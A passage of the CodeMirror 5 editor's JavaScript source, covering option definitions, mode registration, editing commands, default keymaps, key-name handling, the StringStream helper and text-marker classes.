  }, true);
  option("keyMap", "default", function(cm, val, old) {
    var next = getKeyMap(val);
    var prev = old != CodeMirror.Init && getKeyMap(old);
    if (prev && prev.detach) prev.detach(cm, next);
    if (next.attach) next.attach(cm, prev || null);
  });
  option("extraKeys", null);

  option("lineWrapping", false, wrappingChanged, true);
  option("gutters", [], function(cm) {
    setGuttersForLineNumbers(cm.options);
    guttersChanged(cm);
  }, true);
  option("fixedGutter", true, function(cm, val) {
    cm.display.gutters.style.left = val ? compensateForHScroll(cm.display) + "px" : "0";
    cm.refresh();
  }, true);
  option("coverGutterNextToScrollbar", false, function(cm) {updateScrollbars(cm);}, true);
  option("scrollbarStyle", "native", function(cm) {
    initScrollbars(cm);
    updateScrollbars(cm);
    cm.display.scrollbars.setScrollTop(cm.doc.scrollTop);
    cm.display.scrollbars.setScrollLeft(cm.doc.scrollLeft);
  }, true);
  option("lineNumbers", false, function(cm) {
    setGuttersForLineNumbers(cm.options);
    guttersChanged(cm);
  }, true);
  option("firstLineNumber", 1, guttersChanged, true);
  option("lineNumberFormatter", function(integer) {return integer;}, guttersChanged, true);
  option("showCursorWhenSelecting", false, updateSelection, true);

  option("resetSelectionOnContextMenu", true);
  option("lineWiseCopyCut", true);

  option("readOnly", false, function(cm, val) {
    if (val == "nocursor") {
      onBlur(cm);
      cm.display.input.blur();
      cm.display.disabled = true;
    } else {
      cm.display.disabled = false;
    }
    cm.display.input.readOnlyChanged(val)
  });
  option("disableInput", false, function(cm, val) {if (!val) cm.display.input.reset();}, true);
  option("dragDrop", true, dragDropChanged);
  option("allowDropFileTypes", null);

  option("cursorBlinkRate", 530);
  option("cursorScrollMargin", 0);
  option("cursorHeight", 1, updateSelection, true);
  option("singleCursorHeightPerLine", true, updateSelection, true);
  option("workTime", 100);
  option("workDelay", 100);
  option("flattenSpans", true, resetModeState, true);
  option("addModeClass", false, resetModeState, true);
  option("pollInterval", 100);
  option("undoDepth", 200, function(cm, val){cm.doc.history.undoDepth = val;});
  option("historyEventDelay", 1250);
  option("viewportMargin", 10, function(cm){cm.refresh();}, true);
  option("maxHighlightLength", 10000, resetModeState, true);
  option("moveInputWithCursor", true, function(cm, val) {
    if (!val) cm.display.input.resetPosition();
  });

  option("tabindex", null, function(cm, val) {
    cm.display.input.getField().tabIndex = val || "";
  });
  option("autofocus", null);

  // MODE DEFINITION AND QUERYING

  // Known modes, by name and by MIME
  var modes = CodeMirror.modes = {}, mimeModes = CodeMirror.mimeModes = {};

  // Extra arguments are stored as the mode's dependencies, which is
  // used by (legacy) mechanisms like loadmode.js to automatically
  // load a mode. (Preferred mechanism is the require/define calls.)
  CodeMirror.defineMode = function(name, mode) {
    if (!CodeMirror.defaults.mode && name != "null") CodeMirror.defaults.mode = name;
    if (arguments.length > 2)
      mode.dependencies = Array.prototype.slice.call(arguments, 2);
    modes[name] = mode;
  };

  CodeMirror.defineMIME = function(mime, spec) {
    mimeModes[mime] = spec;
  };

  // Given a MIME type, a {name, ...options} config object, or a name
  // string, return a mode config object.
  CodeMirror.resolveMode = function(spec) {
    if (typeof spec == "string" && mimeModes.hasOwnProperty(spec)) {
      spec = mimeModes[spec];
    } else if (spec && typeof spec.name == "string" && mimeModes.hasOwnProperty(spec.name)) {
      var found = mimeModes[spec.name];
      if (typeof found == "string") found = {name: found};
      spec = createObj(found, spec);
      spec.name = found.name;
    } else if (typeof spec == "string" && /^[\w\-]+\/[\w\-]+\+xml$/.test(spec)) {
      return CodeMirror.resolveMode("application/xml");
    }
    if (typeof spec == "string") return {name: spec};
    else return spec || {name: "null"};
  };

  // Given a mode spec (anything that resolveMode accepts), find and
  // initialize an actual mode object.
  CodeMirror.getMode = function(options, spec) {
    var spec = CodeMirror.resolveMode(spec);
    var mfactory = modes[spec.name];
    if (!mfactory) return CodeMirror.getMode(options, "text/plain");
    var modeObj = mfactory(options, spec);
    if (modeExtensions.hasOwnProperty(spec.name)) {
      var exts = modeExtensions[spec.name];
      for (var prop in exts) {
        if (!exts.hasOwnProperty(prop)) continue;
        if (modeObj.hasOwnProperty(prop)) modeObj["_" + prop] = modeObj[prop];
        modeObj[prop] = exts[prop];
      }
    }
    modeObj.name = spec.name;
    if (spec.helperType) modeObj.helperType = spec.helperType;
    if (spec.modeProps) for (var prop in spec.modeProps)
      modeObj[prop] = spec.modeProps[prop];

    return modeObj;
  };

  // Minimal default mode.
  CodeMirror.defineMode("null", function() {
    return {token: function(stream) {stream.skipToEnd();}};
  });
  CodeMirror.defineMIME("text/plain", "null");

  // This can be used to attach properties to mode objects from
  // outside the actual mode definition.
  var modeExtensions = CodeMirror.modeExtensions = {};
  CodeMirror.extendMode = function(mode, properties) {
    var exts = modeExtensions.hasOwnProperty(mode) ? modeExtensions[mode] : (modeExtensions[mode] = {});
    copyObj(properties, exts);
  };

  // EXTENSIONS

  CodeMirror.defineExtension = function(name, func) {
    CodeMirror.prototype[name] = func;
  };
  CodeMirror.defineDocExtension = function(name, func) {
    Doc.prototype[name] = func;
  };
  CodeMirror.defineOption = option;

  var initHooks = [];
  CodeMirror.defineInitHook = function(f) {initHooks.push(f);};

  var helpers = CodeMirror.helpers = {};
  CodeMirror.registerHelper = function(type, name, value) {
    if (!helpers.hasOwnProperty(type)) helpers[type] = CodeMirror[type] = {_global: []};
    helpers[type][name] = value;
  };
  CodeMirror.registerGlobalHelper = function(type, name, predicate, value) {
    CodeMirror.registerHelper(type, name, value);
    helpers[type]._global.push({pred: predicate, val: value});
  };

  // MODE STATE HANDLING

  // Utility functions for working with state. Exported because nested
  // modes need to do this for their inner modes.

  var copyState = CodeMirror.copyState = function(mode, state) {
    if (state === true) return state;
    if (mode.copyState) return mode.copyState(state);
    var nstate = {};
    for (var n in state) {
      var val = state[n];
      if (val instanceof Array) val = val.concat([]);
      nstate[n] = val;
    }
    return nstate;
  };

  var startState = CodeMirror.startState = function(mode, a1, a2) {
    return mode.startState ? mode.startState(a1, a2) : true;
  };

  // Given a mode and a state (for that mode), find the inner mode and
  // state at the position that the state refers to.
  CodeMirror.innerMode = function(mode, state) {
    while (mode.innerMode) {
      var info = mode.innerMode(state);
      if (!info || info.mode == mode) break;
      state = info.state;
      mode = info.mode;
    }
    return info || {mode: mode, state: state};
  };

  // STANDARD COMMANDS

  // Commands are parameter-less actions that can be performed on an
  // editor, mostly used for keybindings.
  var commands = CodeMirror.commands = {
    selectAll: function(cm) {cm.setSelection(Pos(cm.firstLine(), 0), Pos(cm.lastLine()), sel_dontScroll);},
    singleSelection: function(cm) {
      cm.setSelection(cm.getCursor("anchor"), cm.getCursor("head"), sel_dontScroll);
    },
    killLine: function(cm) {
      deleteNearSelection(cm, function(range) {
        if (range.empty()) {
          var len = getLine(cm.doc, range.head.line).text.length;
          if (range.head.ch == len && range.head.line < cm.lastLine())
            return {from: range.head, to: Pos(range.head.line + 1, 0)};
          else
            return {from: range.head, to: Pos(range.head.line, len)};
        } else {
          return {from: range.from(), to: range.to()};
        }
      });
    },
    deleteLine: function(cm) {
      deleteNearSelection(cm, function(range) {
        return {from: Pos(range.from().line, 0),
                to: clipPos(cm.doc, Pos(range.to().line + 1, 0))};
      });
    },
    delLineLeft: function(cm) {
      deleteNearSelection(cm, function(range) {
        return {from: Pos(range.from().line, 0), to: range.from()};
      });
    },
    delWrappedLineLeft: function(cm) {
      deleteNearSelection(cm, function(range) {
        var top = cm.charCoords(range.head, "div").top + 5;
        var leftPos = cm.coordsChar({left: 0, top: top}, "div");
        return {from: leftPos, to: range.from()};
      });
    },
    delWrappedLineRight: function(cm) {
      deleteNearSelection(cm, function(range) {
        var top = cm.charCoords(range.head, "div").top + 5;
        var rightPos = cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, "div");
        return {from: range.from(), to: rightPos };
      });
    },
    undo: function(cm) {cm.undo();},
    redo: function(cm) {cm.redo();},
    undoSelection: function(cm) {cm.undoSelection();},
    redoSelection: function(cm) {cm.redoSelection();},
    goDocStart: function(cm) {cm.extendSelection(Pos(cm.firstLine(), 0));},
    goDocEnd: function(cm) {cm.extendSelection(Pos(cm.lastLine()));},
    goLineStart: function(cm) {
      cm.extendSelectionsBy(function(range) { return lineStart(cm, range.head.line); },
                            {origin: "+move", bias: 1});
    },
    goLineStartSmart: function(cm) {
      cm.extendSelectionsBy(function(range) {
        return lineStartSmart(cm, range.head);
      }, {origin: "+move", bias: 1});
    },
    goLineEnd: function(cm) {
      cm.extendSelectionsBy(function(range) { return lineEnd(cm, range.head.line); },
                            {origin: "+move", bias: -1});
    },
    goLineRight: function(cm) {
      cm.extendSelectionsBy(function(range) {
        var top = cm.charCoords(range.head, "div").top + 5;
        return cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, "div");
      }, sel_move);
    },
    goLineLeft: function(cm) {
      cm.extendSelectionsBy(function(range) {
        var top = cm.charCoords(range.head, "div").top + 5;
        return cm.coordsChar({left: 0, top: top}, "div");
      }, sel_move);
    },
    goLineLeftSmart: function(cm) {
      cm.extendSelectionsBy(function(range) {
        var top = cm.charCoords(range.head, "div").top + 5;
        var pos = cm.coordsChar({left: 0, top: top}, "div");
        if (pos.ch < cm.getLine(pos.line).search(/\S/)) return lineStartSmart(cm, range.head);
        return pos;
      }, sel_move);
    },
    goLineUp: function(cm) {cm.moveV(-1, "line");},
    goLineDown: function(cm) {cm.moveV(1, "line");},
    goPageUp: function(cm) {cm.moveV(-1, "page");},
    goPageDown: function(cm) {cm.moveV(1, "page");},
    goCharLeft: function(cm) {cm.moveH(-1, "char");},
    goCharRight: function(cm) {cm.moveH(1, "char");},
    goColumnLeft: function(cm) {cm.moveH(-1, "column");},
    goColumnRight: function(cm) {cm.moveH(1, "column");},
    goWordLeft: function(cm) {cm.moveH(-1, "word");},
    goGroupRight: function(cm) {cm.moveH(1, "group");},
    goGroupLeft: function(cm) {cm.moveH(-1, "group");},
    goWordRight: function(cm) {cm.moveH(1, "word");},
    delCharBefore: function(cm) {cm.deleteH(-1, "char");},
    delCharAfter: function(cm) {cm.deleteH(1, "char");},
    delWordBefore: function(cm) {cm.deleteH(-1, "word");},
    delWordAfter: function(cm) {cm.deleteH(1, "word");},
    delGroupBefore: function(cm) {cm.deleteH(-1, "group");},
    delGroupAfter: function(cm) {cm.deleteH(1, "group");},
    indentAuto: function(cm) {cm.indentSelection("smart");},
    indentMore: function(cm) {cm.indentSelection("add");},
    indentLess: function(cm) {cm.indentSelection("subtract");},
    insertTab: function(cm) {cm.replaceSelection("\t");},
    insertSoftTab: function(cm) {
      var spaces = [], ranges = cm.listSelections(), tabSize = cm.options.tabSize;
      for (var i = 0; i < ranges.length; i++) {
        var pos = ranges[i].from();
        var col = countColumn(cm.getLine(pos.line), pos.ch, tabSize);
        spaces.push(new Array(tabSize - col % tabSize + 1).join(" "));
      }
      cm.replaceSelections(spaces);
    },
    defaultTab: function(cm) {
      if (cm.somethingSelected()) cm.indentSelection("add");
      else cm.execCommand("insertTab");
    },
    transposeChars: function(cm) {
      runInOp(cm, function() {
        var ranges = cm.listSelections(), newSel = [];
        for (var i = 0; i < ranges.length; i++) {
          var cur = ranges[i].head, line = getLine(cm.doc, cur.line).text;
          if (line) {
            if (cur.ch == line.length) cur = new Pos(cur.line, cur.ch - 1);
            if (cur.ch > 0) {
              cur = new Pos(cur.line, cur.ch + 1);
              cm.replaceRange(line.charAt(cur.ch - 1) + line.charAt(cur.ch - 2),
                              Pos(cur.line, cur.ch - 2), cur, "+transpose");
            } else if (cur.line > cm.doc.first) {
              var prev = getLine(cm.doc, cur.line - 1).text;
              if (prev)
                cm.replaceRange(line.charAt(0) + cm.doc.lineSeparator() +
                                prev.charAt(prev.length - 1),
                                Pos(cur.line - 1, prev.length - 1), Pos(cur.line, 1), "+transpose");
            }
          }
          newSel.push(new Range(cur, cur));
        }
        cm.setSelections(newSel);
      });
    },
    newlineAndIndent: function(cm) {
      runInOp(cm, function() {
        var len = cm.listSelections().length;
        for (var i = 0; i < len; i++) {
          var range = cm.listSelections()[i];
          cm.replaceRange(cm.doc.lineSeparator(), range.anchor, range.head, "+input");
          cm.indentLine(range.from().line + 1, null, true);
        }
        ensureCursorVisible(cm);
      });
    },
    toggleOverwrite: function(cm) {cm.toggleOverwrite();}
  };


  // STANDARD KEYMAPS

  var keyMap = CodeMirror.keyMap = {};

  keyMap.basic = {
    "Left": "goCharLeft", "Right": "goCharRight", "Up": "goLineUp", "Down": "goLineDown",
    "End": "goLineEnd", "Home": "goLineStartSmart", "PageUp": "goPageUp", "PageDown": "goPageDown",
    "Delete": "delCharAfter", "Backspace": "delCharBefore", "Shift-Backspace": "delCharBefore",
    "Tab": "defaultTab", "Shift-Tab": "indentAuto",
    "Enter": "newlineAndIndent", "Insert": "toggleOverwrite",
    "Esc": "singleSelection"
  };
  // Note that the save and find-related commands aren't defined by
  // default. User code or addons can define them. Unknown commands
  // are simply ignored.
  keyMap.pcDefault = {
    "Ctrl-A": "selectAll", "Ctrl-D": "deleteLine", "Ctrl-Z": "undo", "Shift-Ctrl-Z": "redo", "Ctrl-Y": "redo",
    "Ctrl-Home": "goDocStart", "Ctrl-End": "goDocEnd", "Ctrl-Up": "goLineUp", "Ctrl-Down": "goLineDown",
    "Ctrl-Left": "goGroupLeft", "Ctrl-Right": "goGroupRight", "Alt-Left": "goLineStart", "Alt-Right": "goLineEnd",
    "Ctrl-Backspace": "delGroupBefore", "Ctrl-Delete": "delGroupAfter", "Ctrl-S": "save", "Ctrl-F": "find",
    "Ctrl-G": "findNext", "Shift-Ctrl-G": "findPrev", "Shift-Ctrl-F": "replace", "Shift-Ctrl-R": "replaceAll",
    "Ctrl-[": "indentLess", "Ctrl-]": "indentMore",
    "Ctrl-U": "undoSelection", "Shift-Ctrl-U": "redoSelection", "Alt-U": "redoSelection",
    fallthrough: "basic"
  };
  // Very basic readline/emacs-style bindings, which are standard on Mac.
  keyMap.emacsy = {
    "Ctrl-F": "goCharRight", "Ctrl-B": "goCharLeft", "Ctrl-P": "goLineUp", "Ctrl-N": "goLineDown",
    "Alt-F": "goWordRight", "Alt-B": "goWordLeft", "Ctrl-A": "goLineStart", "Ctrl-E": "goLineEnd",
    "Ctrl-V": "goPageDown", "Shift-Ctrl-V": "goPageUp", "Ctrl-D": "delCharAfter", "Ctrl-H": "delCharBefore",
    "Alt-D": "delWordAfter", "Alt-Backspace": "delWordBefore", "Ctrl-K": "killLine", "Ctrl-T": "transposeChars"
  };
  keyMap.macDefault = {
    "Cmd-A": "selectAll", "Cmd-D": "deleteLine", "Cmd-Z": "undo", "Shift-Cmd-Z": "redo", "Cmd-Y": "redo",
    "Cmd-Home": "goDocStart", "Cmd-Up": "goDocStart", "Cmd-End": "goDocEnd", "Cmd-Down": "goDocEnd", "Alt-Left": "goGroupLeft",
    "Alt-Right": "goGroupRight", "Cmd-Left": "goLineLeft", "Cmd-Right": "goLineRight", "Alt-Backspace": "delGroupBefore",
    "Ctrl-Alt-Backspace": "delGroupAfter", "Alt-Delete": "delGroupAfter", "Cmd-S": "save", "Cmd-F": "find",
    "Cmd-G": "findNext", "Shift-Cmd-G": "findPrev", "Cmd-Alt-F": "replace", "Shift-Cmd-Alt-F": "replaceAll",
    "Cmd-[": "indentLess", "Cmd-]": "indentMore", "Cmd-Backspace": "delWrappedLineLeft", "Cmd-Delete": "delWrappedLineRight",
    "Cmd-U": "undoSelection", "Shift-Cmd-U": "redoSelection", "Ctrl-Up": "goDocStart", "Ctrl-Down": "goDocEnd",
    fallthrough: ["basic", "emacsy"]
  };
  keyMap["default"] = mac ? keyMap.macDefault : keyMap.pcDefault;

  // KEYMAP DISPATCH

  function normalizeKeyName(name) {
    var parts = name.split(/-(?!$)/), name = parts[parts.length - 1];
    var alt, ctrl, shift, cmd;
    for (var i = 0; i < parts.length - 1; i++) {
      var mod = parts[i];
      if (/^(cmd|meta|m)$/i.test(mod)) cmd = true;
      else if (/^a(lt)?$/i.test(mod)) alt = true;
      else if (/^(c|ctrl|control)$/i.test(mod)) ctrl = true;
      else if (/^s(hift)$/i.test(mod)) shift = true;
      else throw new Error("Unrecognized modifier name: " + mod);
    }
    if (alt) name = "Alt-" + name;
    if (ctrl) name = "Ctrl-" + name;
    if (cmd) name = "Cmd-" + name;
    if (shift) name = "Shift-" + name;
    return name;
  }

  // This is a kludge to keep keymaps mostly working as raw objects
  // (backwards compatibility) while at the same time support features
  // like normalization and multi-stroke key bindings. It compiles a
  // new normalized keymap, and then updates the old object to reflect
  // this.
  CodeMirror.normalizeKeyMap = function(keymap) {
    var copy = {};
    for (var keyname in keymap) if (keymap.hasOwnProperty(keyname)) {
      var value = keymap[keyname];
      if (/^(name|fallthrough|(de|at)tach)$/.test(keyname)) continue;
      if (value == "...") { delete keymap[keyname]; continue; }

      var keys = map(keyname.split(" "), normalizeKeyName);
      for (var i = 0; i < keys.length; i++) {
        var val, name;
        if (i == keys.length - 1) {
          name = keys.join(" ");
          val = value;
        } else {
          name = keys.slice(0, i + 1).join(" ");
          val = "...";
        }
        var prev = copy[name];
        if (!prev) copy[name] = val;
        else if (prev != val) throw new Error("Inconsistent bindings for " + name);
      }
      delete keymap[keyname];
    }
    for (var prop in copy) keymap[prop] = copy[prop];
    return keymap;
  };

  var lookupKey = CodeMirror.lookupKey = function(key, map, handle, context) {
    map = getKeyMap(map);
    var found = map.call ? map.call(key, context) : map[key];
    if (found === false) return "nothing";
    if (found === "...") return "multi";
    if (found != null && handle(found)) return "handled";

    if (map.fallthrough) {
      if (Object.prototype.toString.call(map.fallthrough) != "[object Array]")
        return lookupKey(key, map.fallthrough, handle, context);
      for (var i = 0; i < map.fallthrough.length; i++) {
        var result = lookupKey(key, map.fallthrough[i], handle, context);
        if (result) return result;
      }
    }
  };

  // Modifier key presses don't count as 'real' key presses for the
  // purpose of keymap fallthrough.
  var isModifierKey = CodeMirror.isModifierKey = function(value) {
    var name = typeof value == "string" ? value : keyNames[value.keyCode];
    return name == "Ctrl" || name == "Alt" || name == "Shift" || name == "Mod";
  };

  // Look up the name of a key as indicated by an event object.
  var keyName = CodeMirror.keyName = function(event, noShift) {
    if (presto && event.keyCode == 34 && event["char"]) return false;
    var base = keyNames[event.keyCode], name = base;
    if (name == null || event.altGraphKey) return false;
    if (event.altKey && base != "Alt") name = "Alt-" + name;
    if ((flipCtrlCmd ? event.metaKey : event.ctrlKey) && base != "Ctrl") name = "Ctrl-" + name;
    if ((flipCtrlCmd ? event.ctrlKey : event.metaKey) && base != "Cmd") name = "Cmd-" + name;
    if (!noShift && event.shiftKey && base != "Shift") name = "Shift-" + name;
    return name;
  };

  function getKeyMap(val) {
    return typeof val == "string" ? keyMap[val] : val;
  }

  // FROMTEXTAREA

  CodeMirror.fromTextArea = function(textarea, options) {
    options = options ? copyObj(options) : {};
    options.value = textarea.value;
    if (!options.tabindex && textarea.tabIndex)
      options.tabindex = textarea.tabIndex;
    if (!options.placeholder && textarea.placeholder)
      options.placeholder = textarea.placeholder;
    // Set autofocus to true if this textarea is focused, or if it has
    // autofocus and no other element is focused.
    if (options.autofocus == null) {
      var hasFocus = activeElt();
      options.autofocus = hasFocus == textarea ||
        textarea.getAttribute("autofocus") != null && hasFocus == document.body;
    }

    function save() {textarea.value = cm.getValue();}
    if (textarea.form) {
      on(textarea.form, "submit", save);
      // Deplorable hack to make the submit method do the right thing.
      if (!options.leaveSubmitMethodAlone) {
        var form = textarea.form, realSubmit = form.submit;
        try {
          var wrappedSubmit = form.submit = function() {
            save();
            form.submit = realSubmit;
            form.submit();
            form.submit = wrappedSubmit;
          };
        } catch(e) {}
      }
    }

    options.finishInit = function(cm) {
      cm.save = save;
      cm.getTextArea = function() { return textarea; };
      cm.toTextArea = function() {
        cm.toTextArea = isNaN; // Prevent this from being ran twice
        save();
        textarea.parentNode.removeChild(cm.getWrapperElement());
        textarea.style.display = "";
        if (textarea.form) {
          off(textarea.form, "submit", save);
          if (typeof textarea.form.submit == "function")
            textarea.form.submit = realSubmit;
        }
      };
    };

    textarea.style.display = "none";
    var cm = CodeMirror(function(node) {
      textarea.parentNode.insertBefore(node, textarea.nextSibling);
    }, options);
    return cm;
  };

  // STRING STREAM

  // Fed to the mode parsers, provides helper functions to make
  // parsers more succinct.

  var StringStream = CodeMirror.StringStream = function(string, tabSize) {
    this.pos = this.start = 0;
    this.string = string;
    this.tabSize = tabSize || 8;
    this.lastColumnPos = this.lastColumnValue = 0;
    this.lineStart = 0;
  };

  StringStream.prototype = {
    eol: function() {return this.pos >= this.string.length;},
    sol: function() {return this.pos == this.lineStart;},
    peek: function() {return this.string.charAt(this.pos) || undefined;},
    next: function() {
      if (this.pos < this.string.length)
        return this.string.charAt(this.pos++);
    },
    eat: function(match) {
      var ch = this.string.charAt(this.pos);
      if (typeof match == "string") var ok = ch == match;
      else var ok = ch && (match.test ? match.test(ch) : match(ch));
      if (ok) {++this.pos; return ch;}
    },
    eatWhile: function(match) {
      var start = this.pos;
      while (this.eat(match)){}
      return this.pos > start;
    },
    eatSpace: function() {
      var start = this.pos;
      while (/[\s\u00a0]/.test(this.string.charAt(this.pos))) ++this.pos;
      return this.pos > start;
    },
    skipToEnd: function() {this.pos = this.string.length;},
    skipTo: function(ch) {
      var found = this.string.indexOf(ch, this.pos);
      if (found > -1) {this.pos = found; return true;}
    },
    backUp: function(n) {this.pos -= n;},
    column: function() {
      if (this.lastColumnPos < this.start) {
        this.lastColumnValue = countColumn(this.string, this.start, this.tabSize, this.lastColumnPos, this.lastColumnValue);
        this.lastColumnPos = this.start;
      }
      return this.lastColumnValue - (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0);
    },
    indentation: function() {
      return countColumn(this.string, null, this.tabSize) -
        (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0);
    },
    match: function(pattern, consume, caseInsensitive) {
      if (typeof pattern == "string") {
        var cased = function(str) {return caseInsensitive ? str.toLowerCase() : str;};
        var substr = this.string.substr(this.pos, pattern.length);
        if (cased(substr) == cased(pattern)) {
          if (consume !== false) this.pos += pattern.length;
          return true;
        }
      } else {
        var match = this.string.slice(this.pos).match(pattern);
        if (match && match.index > 0) return null;
        if (match && consume !== false) this.pos += match[0].length;
        return match;
      }
    },
    current: function(){return this.string.slice(this.start, this.pos);},
    hideFirstChars: function(n, inner) {
      this.lineStart += n;
      try { return inner(); }
      finally { this.lineStart -= n; }
    }
  };

  // TEXTMARKERS

  // Created with markText and setBookmark methods. A TextMarker is a
  // handle that can be used to clear or find a marked position in the
  // document. Line objects hold arrays (markedSpans) containing
  // {from, to, marker} object pointing to such marker objects, and
  // indicating that such a marker is present on that line. Multiple
  // lines may point to the same marker when it spans across lines.
  // The spans will have null for their from/to properties when the
  // marker continues beyond the start/end of the line. Markers have
  // links back to the lines they currently touch.

  var nextMarkerId = 0;

  var TextMarker = CodeMirror.TextMarker = function(doc, type) {
    this.lines = [];
    this.type = type;
    this.doc = doc;
    this.id = ++nextMarkerId;
  };
  eventMixin(TextMarker);

  // Clear the marker.
  TextMarker.prototype.clear = function() {
    if (this.explicitlyCleared) return;
    var cm = this.doc.cm, withOp = cm && !cm.curOp;
    if (withOp) startOperation(cm);
    if (hasHandler(this, "clear")) {
      var found = this.find();
      if (found) signalLater(this, "clear", found.from, found.to);
    }
    var min = null, max = null;
    for (var i = 0; i < this.lines.length; ++i) {
      var line = this.lines[i];
      var span = getMarkedSpanFor(line.markedSpans, this);
      if (cm && !this.collapsed) regLineChange(cm, lineNo(line), "text");
      else if (cm) {
        if (span.to != null) max = lineNo(line);
        if (span.from != null) min = lineNo(line);
      }
      line.markedSpans = removeMarkedSpan(line.markedSpans, span);
      if (span.from == null && this.collapsed && !lineIsHidden(this.doc, line) && cm)
        updateLineHeight(line, textHeight(cm.display));
    }
    if (cm && this.collapsed && !cm.options.lineWrapping) for (var i = 0; i < this.lines.length; ++i) {
      var visual = visualLine(this.lines[i]), len = lineLength(visual);
      if (len > cm.display.maxLineLength) {
        cm.display.maxLine = visual;
        cm.display.maxLineLength = len;
        cm.display.maxLineChanged = true;
      }
    }

    if (min != null && cm && this.collapsed) regChange(cm, min, max + 1);
    this.lines.length = 0;
    this.explicitlyCleared = true;
    if (this.atomic && this.doc.cantEdit) {
      this.doc.cantEdit = false;
      if (cm) reCheckSelection(cm.doc);
    }
    if (cm) signalLater(cm, "markerCleared", cm, this);
    if (withOp) endOperation(cm);
    if (this.parent) this.parent.clear();
  };

  // Find the position of the marker in the document. Returns a {from,
  // to} object by default. Side can be passed to get a specific side
  // -- 0 (both), -1 (left), or 1 (right). When lineObj is true, the
  // Pos objects returned contain a line object, rather than a line
  // number (used to prevent looking up the same line twice).
  TextMarker.prototype.find = function(side, lineObj) {
    if (side == null && this.type == "bookmark") side = 1;
    var from, to;
    for (var i = 0; i < this.lines.length; ++i) {
      var line = this.lines[i];
      var span = getMarkedSpanFor(line.markedSpans, this);
      if (span.from != null) {
        from = Pos(lineObj ? line : lineNo(line), span.from);
        if (side == -1) return from;
      }
      if (span.to != null) {
        to = Pos(lineObj ? line : lineNo(line), span.to);
        if (side == 1) return to;
      }
    }
    return from && {from: from, to: to};
  };

  // Signals that the marker's widget changed, and surrounding layout
  // should be recomputed.
  TextMarker.prototype.changed = function() {
    var pos = this.find(-1, true), widget = this, cm = this.doc.cm;
    if (!pos || !cm) return;
    runInOp(cm, function() {
      var line = pos.line, lineN = lineNo(pos.line);
      var view = findViewForLine(cm, lineN);
      if (view) {
        clearLineMeasurementCacheFor(view);
        cm.curOp.selectionChanged = cm.curOp.forceUpdate = true;
      }
      cm.curOp.updateMaxLine = true;
      if (!lineIsHidden(widget.doc, line) && widget.height != null) {
        var oldHeight = widget.height;
        widget.height = null;
        var dHeight = widgetHeight(widget) - oldHeight;
        if (dHeight)
          updateLineHeight(line, line.height + dHeight);
      }
    });
  };

  TextMarker.prototype.attachLine = function(line) {
    if (!this.lines.length && this.doc.cm) {
      var op = this.doc.cm.curOp;
      if (!op.maybeHiddenMarkers || indexOf(op.maybeHiddenMarkers, this) == -1)
        (op.maybeUnhiddenMarkers || (op.maybeUnhiddenMarkers = [])).push(this);
    }
    this.lines.push(line);
  };
  TextMarker.prototype.detachLine = function(line) {
    this.lines.splice(indexOf(this.lines, line), 1);
    if (!this.lines.length && this.doc.cm) {
      var op = this.doc.cm.curOp;
      (op.maybeHiddenMarkers || (op.maybeHiddenMarkers = [])).push(this);
    }
  };

  // Collapsed markers have unique ids, in order to be able to order
  // them, which is needed for uniquely determining an outer marker
  // when they overlap (they may nest, but not partially overlap).
  var nextMarkerId = 0;

  // Create a marker, wire it up to the right lines, and
  function markText(doc, from, to, options, type) {
    // Shared markers (across linked documents) are handled separately
    // (markTextShared will call out to this again, once per
    // document).
    if (options && options.shared) return markTextShared(doc, from, to, options, type);
    // Ensure we are in an operation.
    if (doc.cm && !doc.cm.curOp) return operation(doc.cm, markText)(doc, from, to, options, type);

    var marker = new TextMarker(doc, type), diff = cmp(from, to);
    if (options) copyObj(options, marker, false);
    // Don't connect empty markers unless clearWhenEmpty is false
    if (diff > 0 || diff == 0 && marker.clearWhenEmpty !== false)
      return marker;
    if (marker.replacedWith) {
      // Showing up as a widget implies collapsed (widget replaces text)
      marker.collapsed = true;
      marker.widgetNode = elt("span", [marker.replacedWith], "CodeMirror-widget");
      if (!options.handleMouseEvents) marker.widgetNode.setAttribute("cm-ignore-events", "true");
      if (options.insertLeft) marker.widgetNode.insertLeft = true;
    }
    if (marker.collapsed) {
      if (conflictingCollapsedRange(doc, from.line, from, to, marker) ||
          from.line != to.line && conflictingCollapsedRange(doc, to.line, from, to, marker))
        throw new Error("Inserting collapsed marker partially overlapping an existing one");
      sawCollapsedSpans = true;
    }

    if (marker.addToHistory)
      addChangeToHistory(doc, {from: from, to: to, origin: "markText"}, doc.sel, NaN);

    var curLine = from.line, cm = doc.cm, updateMaxLine;
    doc.iter(curLine, to.line + 1, function(line) {
      if (cm && marker.collapsed && !cm.options.lineWrapping && visualLine(line) == cm.display.maxLine)
        updateMaxLine = true;
      if (marker.collapsed && curLine != from.line) updateLineHeight(line, 0);
      addMarkedSpan(line, new MarkedSpan(marker,
                                         curLine == from.line ? from.ch : null,
                                         curLine == to.line ? to.ch : null));
      ++curLine;
    });
    // lineIsHidden depends on the presence of the spans, so needs a second pass
    if (marker.collapsed) doc.iter(from.line, to.line + 1, function(line) {
      if (lineIsHidden(doc, line)) updateLineHeight(line, 0);
    });

    if (marker.clearOnEnter) on(marker, "beforeCursorEnter", function() { marker.clear(); });

    if (marker.readOnly) {
      sawReadOnlySpans = true;
      if (doc.history.done.length || doc.history.undone.length)
        doc.clearHistory();
    }
    if (marker.collapsed) {
      marker.id = ++nextMarkerId;
      marker.atomic = true;
    }
    if (cm) {
      // Sync editor state
      if (updateMaxLine) cm.curOp.updateMaxLine = true;
      if (marker.collapsed)
        regChange(cm, from.line, to.line + 1);
      else if (marker.className || marker.title || marker.startStyle || marker.endStyle || marker.css)
        for (var i = from.line; i <= to.line; i++) regLineChange(cm, i, "text");
      if (marker.atomic) reCheckSelection(cm.doc);
      signalLater(cm, "markerAdded", cm, marker);
    }
    return marker;
  }

  // SHARED TEXTMARKERS

  // A shared marker spans multiple linked documents. It is
  // implemented as a meta-marker-object controlling multiple normal
  // markers.
  var SharedTextMarker = CodeMirror.SharedTextMarker = function(markers, primary) {
    this.markers = markers;
    this.primary = primary;
    for (var i = 0; i < markers.length; ++i)
      markers[i].parent = this;
  };
  eventMixin(SharedTextMarker);

  SharedTextMarker.prototype.clear = function() {
    if (this.explicitlyCleared) return;
    this.explicitlyCleared = true;
    for (var i = 0; i < this.markers.length; ++i)
      this.markers[i].clear();
    signalLater(this, "clear");
  };
